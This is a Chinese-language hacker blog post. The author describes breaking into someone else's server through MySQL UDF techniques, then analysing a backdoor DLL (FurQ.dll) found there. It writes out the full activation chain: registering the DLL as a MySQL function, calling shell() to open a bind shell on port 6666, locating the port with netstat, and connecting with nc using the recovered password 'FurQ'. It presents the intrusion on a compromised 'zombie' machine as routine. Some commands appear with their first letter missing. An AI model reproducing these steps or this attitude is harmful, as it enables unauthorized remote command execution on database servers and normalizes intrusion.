今天去网上测试MySQL Fun漏洞(其实不能说是漏洞,只能说是一个技术而已).用MySQL Fun的一些技术刚攻克一台Xeon的主机,进去之后,想做点测试,但是突然发现这台主机的C:/下有一个叫FurQ.Dll的东西,28K大小,感觉和我用的那个程序非常相似.....于是感觉比较疑惑.就将这个FurQ.DLL放到IIS目录里下到本机里用W32DSM进行反汇编,虽然我这点能力不强,但是还是希望能通过这个来锻炼一下基本的反汇编能力...
首先用W32DSM打开这个DLL.先点开函数菜单看输入和输出,发现输入的函数中有WS2_32等函数,包括接受/监听/绑定/等函数..然后看输出的函数中只有一个Shell函数,看到这些基本上觉得有问题了...这个程序肯定连接网络...再看字符参考那里,发现一个巨经典的字符:COMSPEC.看到这里,基本明白了.这个程序有调用CMD.EXE执行程序的能力,不过这个到底是在MySQL中还是在Shell当中呢?我不清楚,于是就有接下来的测试了.
首先在mysql里执行
use mysql;
create function Shell Returns integer soname 'c:/FurQ.dll';
在这里,函数Shell指的是FurQ.DLL里的Shell函数,否则创建失败..返回函数创建成功了.我们马上测试函数
elect shell('echo kevin >c:/z.txt');
elect shell('/c echo kevin >>c:/z.txt');
elect shell('cmd.exe /c echo kevin >c:/z.txt');
在这里,我测试的是这个COMSPEC是否是在MySQL函数中执行的....
然后
elect load_file('c:/z.txt');
返回NULL说明z.txt没生成....看来不是执行,那么估计这个是在TCP端口中执行的了吧....要么这个程序设置鉴听端口也比较无聊的.
现在开始分析端口,在W32DSM里找到.bind方式的地方,发现上面显示了跳转,然后用OllYDBG打开这个DLL并且用LoadDLL载入,恩,Ctrl+G条到这个跳转.看了两下,看到头昏...看来我来跟还是不行,那么去肉鸡上测试吧...
在那台xeon上执行这个select shell();
返回NULL,这个时候我打开Taskmgr,发现MySQL的进程站用特别大,然后使用
etstat -ano (win2k3的机器,有o参数)
返回进程ID....
用tasklist|find "mysql"
列举进程..发现PID为6012
用netstat -ano|find "6012"
列举MySQL进程所开的端口,发现除了3306以外还有一个6666端口开放...估计这个就是这个函数所产生的端口吧.
为了验证,我在本机
c -v IP 6666
然后连接成功了,输入个
ver看看是不是执行命令,返回ACCESS DENIED
看来是有限制啊.....
去W32DSM里查看一下串拷,果然有这个函数..恩..现在开始锻炼一下我的破解功力了吧......不过要分析一下,
如果要我做这么一个后门+Shell,一定不会想到加密,用VB写的话一定是这样的
if pwd="123" then call execshell else call failed
以上我就开始跟踪.....
进入这个字串的位置,一般会有一个test来比较,于是向上,发现一个跳转,然后我在OllyDBG里进入这个跳转......跟了一下,没发现有密码呀...晕....去请教冰血,在传送文件的途中,我突然发现我居然近视到这个程度,边上的分析框中明确的写着ASCII "FurQ"汗...原来密码就是串拷里的FurQ...我还以为是什么呢......
到这里就基本差不多了,实验了一下,
引用内容:
c ip 6666
FurQ
C:/Mysql/data>
哈哈..搞定.........明白的了...
这次分析结束,而且我将FurQ.DLL发送给冰血的时候,冰血说传一半就给卡吧杀掉,靠,这个大叔真不是盖的,而且另一台机器上的卖咖啡小姐也能杀掉,而国内任何一款杀毒软件都对这个病毒视而不见.......真是弱呀...
这次分析还算可以,这个漏洞利用了国内的没公布的一些新技术....估计CASI4出来的时候国内又要疯狂了......
OK.分析完了....好象好不专业的样子.呵呵....